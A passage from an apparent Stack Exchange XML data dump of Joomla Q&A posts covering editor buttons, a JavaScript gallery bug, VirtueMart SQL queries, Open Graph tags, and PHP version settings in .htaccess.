/>
  <row Id="14901" PostTypeId="2" ParentId="5616" CreationDate="2016-01-08T10:24:17.783" Score="0" Body="&lt;p&gt;In addition to &lt;a href=&quot;https://joomla.stackexchange.com/users/33/george-wilson&quot;&gt;George Wilson&lt;/a&gt;'s answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When instantiating the editor directly in your source code you can provide an array of buttons that should be hidden to the &lt;code&gt;display&lt;/code&gt; method of the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, you would enable showing all of the buttons by supplying &lt;code&gt;true&lt;/code&gt; to the &lt;code&gt;buttons&lt;/code&gt; parameter, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$editor = JEditor::getInstance();&#xA;echo $editor-&amp;gt;display(&#xA;    'my-editor',&#xA;    'Default value',&#xA;    600,&#xA;    100,&#xA;    10,&#xA;    10,&#xA;    true // Show all buttons&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JEditor.html#method_display&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/JEditor.html#method_display&lt;/a&gt;.&#xA;According to the API the &lt;code&gt;buttons&lt;/code&gt; parameter takes a boolean either being &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt;. In practise, however, it is possible to supply an array like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$editor = JEditor::getInstance();&#xA;echo $editor-&amp;gt;display(&#xA;    'my-editor',&#xA;    'Default value',&#xA;    600,&#xA;    100,&#xA;    10,&#xA;    10,&#xA;    array( 'article', 'pagebreak' ) // List of buttons that should be hidden&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe the full list of button names that you can hide is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;article&lt;/li&gt;&#xA;&lt;li&gt;image&lt;/li&gt;&#xA;&lt;li&gt;pagebreak&lt;/li&gt;&#xA;&lt;li&gt;readmore&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5270" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-01-08T10:29:50.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14902" PostTypeId="2" ParentId="14884" CreationDate="2016-01-08T11:20:19.903" Score="4" Body="&lt;p&gt;Regarding why your session was not expiring, if you were on a page that had a Joomla login module, the session would never time out.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Joomla login module enables keepalive for all pages where it&#xA;  appears.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;REFERENCE:  &lt;a href=&quot;http://extensions.joomla.org/extension/session-keeper&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/session-keeper&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2016-01-08T11:20:19.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14903" PostTypeId="1" AcceptedAnswerId="14904" CreationDate="2016-01-08T11:39:06.100" Score="0" ViewCount="201" Body="&lt;p&gt;I'm trying to make a simple gallery for my website, I need to display an image thumbnail and a table side by side but I've got problems with the next button!&#xA;I'm working on the image atm, but when I press next button it opens the image in a new windows, like if I clicked on the thumbnail!&#xA;What's wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;&#xA;&amp;lt;div id=&quot;page&quot;&amp;gt; &#xA;    &amp;lt;div id=&quot;header&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;title&quot;&amp;gt;title&amp;lt;/div&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;menu-wrap&quot; style=&quot;position:relative; z-index:9999&quot;&amp;gt;    &amp;lt;nav class=&quot;menu&quot;&amp;gt;&#xA;        &amp;lt;ul class=&quot;clearfix&quot;&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;index.html&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;             &amp;lt;li&amp;gt;&amp;lt;a href=&quot;link1.html&quot;&amp;gt;link1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;              &amp;lt;li&amp;gt;&amp;lt;a href=&quot;link2.html&quot;&amp;gt;link2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/nav&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;pageContent&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;articleContent&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;articleTitle&quot;&amp;gt;L'esterno della Cattedrale&amp;lt;/div&amp;gt;&#xA;&#xA;         &amp;lt;div class=&quot;item-page&quot;  &amp;gt;&#xA;         &amp;lt;a href=&quot;images/esterno/esterno01.jpg&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;img id=&quot;immagine&quot; src=&quot;images/esterno/esterno01.jpg&quot; height=&quot;50&quot; width=&quot;50&quot; style=&quot;margin-left:15%;margin-top:5%&quot; data-value=&quot;A&quot;/&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;tabella&quot; style='float:left'&amp;gt;&amp;lt;p&amp;gt; prova2&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;br&amp;gt;&amp;lt;div class='button' onclick=&quot;next()&quot;&amp;gt;Next&amp;lt;/div&amp;gt;&#xA;&#xA;                         &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;footer&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/body&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;$(window).load(function() {&#xA;  $('#slider').nivoSlider({&#xA;  effect:'fade',&#xA;  pauseTime: 5000&#xA;  });&#xA;});&#xA;&#xA;&#xA;function next() {&#xA;var text = &quot;&quot;;&#xA;var image = &quot;&quot;;&#xA;&#xA;var image = document.getElementById(&quot;immagine&quot;).getAttribute('data-value');&#xA;   //alert(image);&#xA;switch(image) {&#xA;case &quot;A&quot;:&#xA;    text = &quot;2&quot;;&#xA;    image=' &amp;lt;a href=&quot;images/esterno/esterno02.jpg&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;img src=&quot;images/esterno/esterno02.jpg&quot; height=&quot;50&quot; width=&quot;50&quot; style=&quot;margin-left:15%;margin-top:5%&quot; data-value=&quot;B&quot;/&amp;gt;';&#xA;    break;&#xA;case &quot;B&quot;:&#xA;    text = &quot;3&quot;;&#xA;    image=' &amp;lt;a href=&quot;images/esterno/esterno03.jpg&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;img src=&quot;images/esterno/esterno03.jpg&quot; height=&quot;50&quot; width=&quot;50&quot; style=&quot;margin-left:15%;margin-top:5%&quot; data-value=&quot;C&quot;/&amp;gt;';&#xA;    break;&#xA;case &quot;C&quot;:&#xA;    text = &quot;4&quot;;&#xA;    image=' &amp;lt;a href=&quot;images/esterno/esterno04.jpg&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;img src=&quot;images/esterno/esterno04.jpg&quot; height=&quot;50&quot; width=&quot;50&quot; style=&quot;margin-left:15%;margin-top:5%&quot; data-value=&quot;D&quot;/&amp;gt;';&#xA;    break;&#xA;&#xA;default:&#xA;    text = &quot;default&quot;;&#xA;}&#xA;document.getElementById(&quot;immagine&quot;).innerHTML = image;&#xA;document.getElementById(&quot;tabella&quot;).innerHTML = text;&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7519" LastEditorUserId="126" LastEditDate="2016-01-08T17:36:55.427" LastActivityDate="2016-01-08T17:36:55.427" Title="Javascript - next button for image gallery" Tags="|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14904" PostTypeId="2" ParentId="14903" CreationDate="2016-01-08T12:12:13.597" Score="0" Body="&lt;p&gt;You are missing closing &lt;code&gt;&amp;lt;/a&amp;gt;&lt;/code&gt; tag. Since it's not closing, it is clicked when you click on &quot;Next&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;item-page&quot;&amp;gt;&amp;lt;a href=&quot;images/esterno/esterno01.jpg&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;img id=&quot;immagine&quot; src=&quot;images/esterno/esterno01.jpg&quot; height=&quot;50&quot; width=&quot;50&quot; style=&quot;margin-left:15%;margin-top:5%&quot; data-value=&quot;A&quot;/&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;item-page&quot;&amp;gt;&amp;lt;a href=&quot;images/esterno/esterno01.jpg&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;img id=&quot;immagine&quot; src=&quot;images/esterno/esterno01.jpg&quot; height=&quot;50&quot; width=&quot;50&quot; style=&quot;margin-left:15%;margin-top:5%&quot; data-value=&quot;A&quot;/&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2016-01-08T12:12:13.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14906" PostTypeId="1" CreationDate="2016-01-08T13:53:31.983" Score="2" ViewCount="171" Body="&lt;p&gt;I need to change the ordering of which the products are displayed on the Virtuemart category page. The files &lt;code&gt;models/product.php&lt;/code&gt; and &lt;code&gt;tables/products.php&lt;/code&gt; are too complicated for me to put the changes in them. So I decided to use direct SQL-requests in &lt;code&gt;views/category/default.php&lt;/code&gt; (if more precisely in &lt;code&gt;templates/my_template/html/com_virtuemart/category/default.php&lt;/code&gt;) like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('a.virtuemart_product_id');&#xA;$query-&amp;gt;from('#__virtuemart_product_categories AS a');&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('virtuemart_category_id').&quot; = &quot;.$db-&amp;gt;quote($this-&amp;gt;category-&amp;gt;virtuemart_category_id));&#xA;$query-&amp;gt;select('b.product_in_stock, c.product_price');&#xA;$query-&amp;gt;join('LEFT', '#__virtuemart_products AS b ON b.virtuemart_product_id = a.virtuemart_product_id');&#xA;$query-&amp;gt;join('LEFT', '#__virtuemart_product_prices AS c ON c.virtuemart_product_id = a.virtuemart_product_id');&#xA;$query-&amp;gt;order('b.product_in_stock DESC, c.product_price DESC');&#xA;$db-&amp;gt;setQuery($query);&#xA;$sortedProducts = $db-&amp;gt;loadObjectList();&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's not the only case when I needed to use direct SQL-requests in some view(s) or in template(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But to what extent is such direct way safe and how to protect it to the maximum extent possible?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="4042" LastEditDate="2016-01-08T14:01:56.717" LastActivityDate="2016-01-10T10:35:49.730" Title="The safety of direct SQL-requests in Joomla templates/views" Tags="|joomla-3.x|development|mysql|virtuemart|mvc|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14907" PostTypeId="2" ParentId="14562" CreationDate="2016-01-08T15:07:06.350" Score="1" Body="&lt;p&gt;You can consider change to JCE Editor. This component its great, free and have too many options to manipulate images. &#xA;Included this your need for title Image. Try In:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net&quot; rel=&quot;nofollow&quot;&gt;https://www.joomlacontenteditor.net&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-01-08T15:07:06.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14908" PostTypeId="2" ParentId="14899" CreationDate="2016-01-08T15:13:55.163" Score="2" Body="&lt;p&gt;You can try edit your index.php and add In first line after &amp;lt; php? tag this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header(&quot;Location: http://newsite.com&quot;);&#xA;die();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I holpe this helps. &lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-01-08T15:13:55.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14909" PostTypeId="2" ParentId="14892" CreationDate="2016-01-08T17:06:41.637" Score="1" Body="&lt;p&gt;Try this;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Move the following line; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p style=&quot;float: left;&quot;&amp;gt;&amp;lt;img src=&quot;images/13kw-generator.png&quot; alt=&quot;&quot; width=&quot;174&quot; height=&quot;174&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of having it above your &lt;code&gt;div&lt;/code&gt;, add it at the bottom (after the closing mob-only div).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Positioning issue!&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2016-01-08T17:06:41.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14911" PostTypeId="2" ParentId="14898" CreationDate="2016-01-08T18:07:53.250" Score="1" Body="&lt;p&gt;The activation itself does not have any events it triggers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be worth looking into the &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/User#onUserBeforeSave&quot; rel=&quot;nofollow&quot;&gt;onUserBeforeSave&lt;/a&gt; event. This is called everytime a change it made to the user. So it should do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So check the parameters to see if there is anything you can use to determine if this is an activation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2016-01-08T18:07:53.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14912" PostTypeId="2" ParentId="14896" CreationDate="2016-01-08T18:48:06.800" Score="6" Body="&lt;p&gt;A component cannot prevent a DOS or DDOS attack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually it is a good practice to make a separation of concerns. You website (or let us call it web application) has the role of providing business value to your customers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At another level, a web application firewall (WAF) and/or intrusion detection system (IDS), is another system in your network infrastructure responsible for such security aspects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP should not have to deal with such things. It is not really the best tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are on a low budget look into a hoster that already provides such a protection. Some of them do this already  (for example Siteground). Or you may want to have a look at what www.cloudflare.com has to offer for free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to check out the &lt;a href=&quot;https://www.youtube.com/watch?v=_H2ez7EyEyg&quot; rel=&quot;nofollow&quot;&gt;presentation from Tony Perez&lt;/a&gt; at the Joomla World Conference 2015. &lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2016-01-10T08:42:06.867" LastActivityDate="2016-01-10T08:42:06.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14913" PostTypeId="1" CreationDate="2016-01-08T19:54:31.030" Score="1" ViewCount="1252" Body="&lt;p&gt;I've looked at similar issues on this forum but can't find answer I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically Problem is article title/ thumbnail photo does not show on Facebook when sharing. This is a massive problem for &lt;a href=&quot;http://www.hillingdonishere.co.uk&quot; rel=&quot;nofollow&quot;&gt;my website&lt;/a&gt; as most traffic comes this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Articles are K2 items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know next to nothing about code! Facebook debugger tells me this...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://www.hillingdonishere.co.uk/index.php/articles/item/283-west-drayton-women-s-christmas-campaign-to-help-homeless-snowballs-as-nearly-3-000-aid-project&quot; rel=&quot;nofollow&quot;&gt;http://www.hillingdonishere.co.uk/index.php/articles/item/283-west-drayton-women-s-christmas-campaign-to-help-homeless-snowballs-as-nearly-3-000-aid-project&lt;/a&gt;' of type 'website' is invalid because a required property 'og:title' of type 'string' was not provided.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning&lt;br&gt;&#xA;  Curl Error : WRITE_ERROR Error while processing content unencoding: invalid block type&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning&lt;br&gt;&#xA;  Errors That Must Be Fixed&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Object Missing a Required ValueObject at URL '&lt;a href=&quot;http://www.hillingdonishere.co.uk/index.php/articles/item/283-west-drayton-women-s-christmas-campaign-to-help-homeless-snowballs-as-nearly-3-000-aid-project&quot; rel=&quot;nofollow&quot;&gt;http://www.hillingdonishere.co.uk/index.php/articles/item/283-west-drayton-women-s-christmas-campaign-to-help-homeless-snowballs-as-nearly-3-000-aid-project&lt;/a&gt;' of type 'website' is invalid because a required property 'og:title' of type 'string' was not provided.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;When shared, this is what will be included&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning&lt;br&gt;&#xA;  fb:app_id hasn't been included in the meta tags. Specify the app ID so that stories shared to Facebook will be properly attributed to the app. Alternatively, app_id can be set in url when open the share dialog. Otherwise, the default app id( 966242223397117 ) will be assigned.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Based on included and inferred properties, the below preview is what users will see when they share this URL.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7585" LastEditorUserId="1629" LastEditDate="2016-01-09T22:42:23.997" LastActivityDate="2016-06-12T05:36:15.747" Title="Problem: article title/ thumbnail photo does not showon Facebook when sharing" Tags="|joomla-3.x|url|facebook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14914" PostTypeId="2" ParentId="14884" CreationDate="2016-01-08T21:05:02.700" Score="0" Body="&lt;p&gt;I found a solution by editing the function _getRedirect() of the Extension Session Keeper (sessionkeeper.php). I just changed the return JRoute:: to destroy the user Session token and it worked.&lt;/p&gt;&#xA;" OwnerUserId="7566" LastActivityDate="2016-01-08T21:05:02.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14916" PostTypeId="2" ParentId="14913" CreationDate="2016-01-08T23:32:24.087" Score="1" Body="&lt;p&gt;You need add Opengraph informations in joomla to work with Facebook. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this reference page to know more about OpenGraph:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ogp.me&quot; rel=&quot;nofollow&quot;&gt;http://ogp.me&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugins to Joomla works fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://e-max.it/joomla-plugins/easy-open-graph&quot; rel=&quot;nofollow&quot;&gt;http://e-max.it/joomla-plugins/easy-open-graph&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/phoca-open-graph&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/phoca-open-graph&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;****** UPDATE:&#xA;I have another plugin working in this site:&#xA;&lt;a href=&quot;http://www.sindha.org.br/index.php/blog/gastronomia/4254-a-essencia-dos-temperos&quot; rel=&quot;nofollow&quot;&gt;http://www.sindha.org.br/index.php/blog/gastronomia/4254-a-essencia-dos-temperos&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see this plugin in: &#xA;&lt;a href=&quot;http://extensions.joomla.org/extensions/social-web/social-bookmarking/14094&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/social-web/social-bookmarking/14094&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This puglin create a share button and control Open Graph tags fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps. &lt;/p&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="5617" LastEditDate="2016-01-10T15:08:17.443" LastActivityDate="2016-01-10T15:08:17.443" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14917" PostTypeId="2" ParentId="14894" CreationDate="2016-01-09T00:44:19.073" Score="4" Body="&lt;p&gt;As others mention, Joomla does not install nor update PHP, it simply reports the version of PHP available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible that your &lt;code&gt;.htaccess&lt;/code&gt; file contains instructions to set PHP version. This is quite common, but the exact code varies depending on your hosting company, but it usually looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AddHandler application/x-httpd-php53 .php .php5 .php4 .php3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Look for this line in your &lt;code&gt;.htaccess&lt;/code&gt; file, and comment it out (add &lt;code&gt;#&lt;/code&gt; before the line) if you find it. Note that there can be several instances of &lt;code&gt;.htaccess&lt;/code&gt; on your account, in different folders.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can also check your PHP versions by creating a new &lt;code&gt;.php&lt;/code&gt; file (call it anything you like), and put the following code inside to &lt;a href=&quot;http://php.net/manual/en/function.phpinfo.php&quot; rel=&quot;nofollow&quot;&gt;show information about your PHP settings&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    phpinfo();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save, and visit the file in your browser, (e.g. &lt;a href=&quot;http://example.com/myphpinfo.php&quot; rel=&quot;nofollow&quot;&gt;http://example.com/myphpinfo.php&lt;/a&gt;). Try moving the file to different folders, and see if the PHP version changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Make sure you remove the file when you're done testing, for security reasons.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-01-09T00:44:19.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14918" PostTypeId="2" ParentId="14894" CreationDate="2016-01-09T06:46:01.617" Score="1" Body="&lt;p&gt;Depending on the type of hosting and the hosting provider, it's possible to adjust the php version for your account through .htaccess - so my guess is that your htaccess file may contain such directives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So go check your .htaccess file for entries like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AddHandler application/x-httpd-php53 .php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or something like this if you are with GoDaddy:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AddHandler x-httpd-php5-3 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remove or comment out these lines using '&lt;code&gt;#&lt;/code&gt;' in front of them like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#AddHandler application/x-httpd-php53 .php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In addition, using the same, you could try setting the desired php version so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AddHandler application/x-httpd-php55 .php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;could switch you to PHP 5.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, if you can't solve it, I would recommend to contact your hosting provider to assist you with this.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-01-09T06:46:01.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14919" PostTypeId="2" ParentId="14895" CreationDate="2016-01-09T11:02:35.120" Score="0" Body="&lt;p&gt;Why you dont try Admin Exile plugin?&#xA;This plugin do exactly you need, and is free. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/adminexile&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/adminexile&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps. &lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-01-09T11:02:35.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14920" PostTypeId="2" ParentId="14895" CreationDate="2016-01-09T13:38:56.447" Score="1" Body="&lt;p&gt;If you want to block access to certain url parameters/values like the &lt;strong&gt;&lt;code&gt;option=com_users&lt;/code&gt;&lt;/strong&gt; in the front end, you can try something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} !^/administrator/.*&#xA;RewriteCond %{QUERY_STRING} (^|&amp;amp;)option=(com_users)&#xA;RewriteRule ^(.*) - [F]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What the above does is: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Instructing to exclude the administrator site and it's required, otherwise you won't be able to access the com_users in admin site as well.  &lt;/li&gt;&#xA;&lt;li&gt;Checking for the query sting option=com_users in the url  &lt;/li&gt;&#xA;&lt;li&gt;Forbids access to it.  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-01-09T13:38:56.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14922" PostTypeId="1" CreationDate="2016-01-09T23:29:29.480" Score="8" ViewCount="328" Body="&lt;p&gt;I am just referring the Joomla User plugin events in the URL &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/User/en&quot; rel=&quot;noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events/User/en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onUserLogin&#xA;onUserAuthenticate&#xA;onUserBeforeSave&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just wondering which one will help me to do something only when they validating their email address from the Email activation link?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: During the time of Email activation I have to connect to a SOAP server and validate few stuffs and then only allow him to activate the account.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="2239" LastEditDate="2016-01-14T07:23:29.023" LastActivityDate="2016-01-15T09:11:13.470" Title="Plugin event only when Email activation" Tags="|joomla-3.x|plugin|user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14926" PostTypeId="1" CreationDate="2016-01-10T08:16:57.690" Score="1" ViewCount="113" Body="&lt;p&gt;I just moved a site from my local Mac MAMP system onto my live server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the admin backend, I was able to see a &quot;Page Display&quot; tab, while editing a menu item on the local version. With the identical site being live on my server, some tabs, including &quot;Page Display&quot; are missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some global option that allows/disallows additional parameters like an &quot;easy mode&quot; or something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="7592" LastEditorUserId="405" LastEditDate="2016-05-18T22:52:53.133" LastActivityDate="2016-07-17T23:53:59.923" Title="Page Display control missing on menu items" Tags="|menu-item|menu-parameters|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14928" PostTypeId="2" ParentId="14906" CreationDate="2016-01-10T10:35:49.730" Score="4" Body="&lt;p&gt;Joomla is built on the MVC design pattern, so querying the db from a view is bad practice. But with your scenario, let's consider a few alteratives:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;changing the model&lt;/em&gt;: this makes no sense: you can't change a model you don't own, or you'll be tied to applying your changes with every new release; additionally, you mention it's overly complicated;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;query from the template&lt;/em&gt;: your current solution, not scalable, doesn't leverage Joomla cache properly.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;create a model&lt;/strong&gt;: (or a helper), put it inside the appropriate VM folder, and invoke it from your view: definitely the most attractive solution: no overhead, simpler code, additionally you leverage Joomla features including: 